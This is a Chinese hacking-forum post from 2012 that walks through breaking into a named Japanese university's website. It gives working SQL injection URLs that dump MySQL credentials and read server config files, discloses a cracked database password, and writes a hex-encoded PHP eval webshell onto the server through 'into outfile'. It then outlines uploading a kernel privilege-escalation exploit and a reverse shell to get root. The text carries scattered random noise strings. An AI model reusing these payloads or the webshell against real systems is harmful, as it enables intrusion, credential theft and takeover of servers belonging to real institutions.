找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2560|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析% Y0 x3 x! z0 Q. A. c9 a) o

* A( ^+ t' }5 s, Whttp://www.doshisha.ac.jp/chs/news/index.php?i=-18 O/ |& B9 s0 M) b) ~# X* ~
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:% V2 d- l8 z7 K! r* b7 {
! f, X0 G' s# ^, d
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user2 t# j0 e2 G/ s! G4 V

/ H; h0 [  O$ E/ a! h
. k# {% }8 o- _/ ~7 D) N; c) w, k. q
//@@datadir为数据库文件路径
* @" c+ |: k2 b! f' ^, f & Z" {( C+ T2 x
( T8 v1 F, c8 s" @
//load_file读取网站容器apache的配置文件
8 |8 t4 Q- P; |/ A+ @
& F( Z" G; }% _4 H9 E- G) G; ]# ?+ e: _- i8 a7 |
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 : \- j' ]) V2 i
复制代码$ F. U& }. g# l5 x
/ u# a5 L0 ?" j( T
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。- z8 Z6 V' `7 O/ U' s& p
" y* X$ h* @. I4 L# i6 O
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
# ~1 P/ w# y7 i2 U0 r(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)9 K1 z8 ^+ e4 z

/ y5 ]$ N  n" N! u1 k2 z" @前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。/ b6 v& _6 g' h% s$ o9 n3 k! g" S
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html  u3 t( A5 Z/ v6 ]  `
) Z' \6 d# {* u( F4 }" H
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/3 t0 H$ f% e+ O% S# e/ j3 F9 j' a
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。9 P- B7 D1 A3 K4 \( z8 K1 _/ j
直接写一句话:
* @. e7 z; \6 I- ^. t/ \
) ~0 P% U0 U& d( Chttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
5 v+ u5 n! j+ W9 Z0 y+ Y" {' ^& r" k3 `  L+ y& g. i7 |" D

( j. D7 B( M. z3 M* |+ f6 b+ P4 d: z- x6 h( Q2 Y4 U
//最后的#是为了闭合前面的语句 7 c% ]" F) l  D! K

" a/ G; I4 S2 N$ q5 [
/ r* Y1 J) _6 k) u! K9 s/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
7 b; p7 D: @" A7 R5 d" {3 [ ! c" V. M% w3 w" R4 m! `
! B) E+ }' q/ H3 ?+ Y& W) ^8 l
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ; g6 `4 N7 x! O/ p& }: V* V, H% D
8 a; X3 C: `% M; N# B9 K

* A3 b) N: p! t1 `- r8 c//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
. g  J1 y3 i* n) _
) W9 |, e) D" b  x# `5 T2 P( o/ D# A$ W4 U1 X( r
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
' [* V# g& t  s1 D5 i, u//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 8 Q' N# o& j! R, c
复制代码
7 c! e+ R% F$ g3 X3 w* R6 R; N+ T5 z+ e+ f5 L! u: u
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有: H( T3 G7 s  b' ?$ n) _
通过上述注入语句,我们就得到了一句话木马:
+ Q2 D" h7 M# [1 l7 |! f- |: c# \1 k- t- o0 }

5 ~& X# W' y6 c) @' x4 ^8 z  I1 c. @% r, \. Y9 G

$ S8 o  m, m1 ?4 U  Z* F! c9 z8 ^; {+ t* P
http://www.doshisha.ac.jp/english/engnews_img/aa.php
# n: G$ V1 W8 Z8 h/ B, n0 V复制代码! u" J8 T+ y0 l
  K2 A/ R( [6 _. ~+ @+ E
用菜刀连接,密码是cmd,如图所示:
# y& m, L0 H8 A8 O9 R4 {然后在命令提示行里看了一下,现在的权限是:
3 s. x" R% H+ |, g+ j
: U9 Q$ o6 U, O3 v  H之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
+ h  x" q- h/ v3 }好在赋权给这个文件夹不需要root,直接执行赋权语句:
; Q( d% F! ^7 J4 w
, u5 M: p( O- p- w
1 W! b8 f8 s4 @: e4 x9 x/ K& Q3 K- h, c1 [- L
' Z# K/ I: F, u
0 A8 v7 t3 c# ~
chmod +x /tmp/ + j4 }3 q6 I% h- c' r
复制代码6 [& m% C8 R  ]
: X3 @( h0 X4 @: G
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行: }; s& [/ s" u( P$ O
然后就查了一下内核版本:
8 E3 t: Y$ {* @: E2 r, n; t; X7 k0 k3 o
* \& T3 \6 W( |- U& z
" _5 c7 {0 }/ H  J

2 Q0 A) m4 Q8 g  t  N) |9 u% R# C# q3 A8 W& V9 {# C
uname-a : w) V6 V4 Z8 c: w  p

$ Y. T; F6 T. E5 M4 Y
6 J9 r: _/ O) R0 s! O6 _//其实lsb_release -a + g5 x! v+ u" T7 t/ Y. y
复制代码
/ A$ A0 n! @! P+ |6 ~1 C) H9 E+ @" z
如图所示:
: ^6 E  Z8 u1 Z5 V
0 U4 K9 V# U8 Y9 ?内核版本:linux mainz1 2.6.28-194.e155 T2 T; l3 C6 L+ R# z& z9 ?
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)' b5 {7 @6 n9 D: R
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹, s6 ]% H# z. K8 x
3 B+ g# T! w# r: q& C
然后给予执行权限
9 u0 f* Y  i% F一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样: z* G, R, j/ j& |0 U
1 k9 \# R* {! \9 X
- U  u' g8 J9 T" m6 t/ f* `

2 N2 }2 i( Q! H* W- f- f* l# Z7 u
$ |6 I% P0 k/ M* P
: q' j: ]4 v5 H9 n* l7 {/ Rchmod +x /tmp/2.6.18-194
. \2 V% [6 I$ G! A复制代码 然后直接执行!~
( |4 `- |# Z) Z( H
" r% r+ R- D7 ]6 P总结:/ I0 h7 G1 t& K7 P) t4 I7 E
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
& t2 h. j; ^# Y, h提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
! \& E* H3 y7 y/ P. R2 R- v
1 i$ f  K* p) J' g0 v3 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表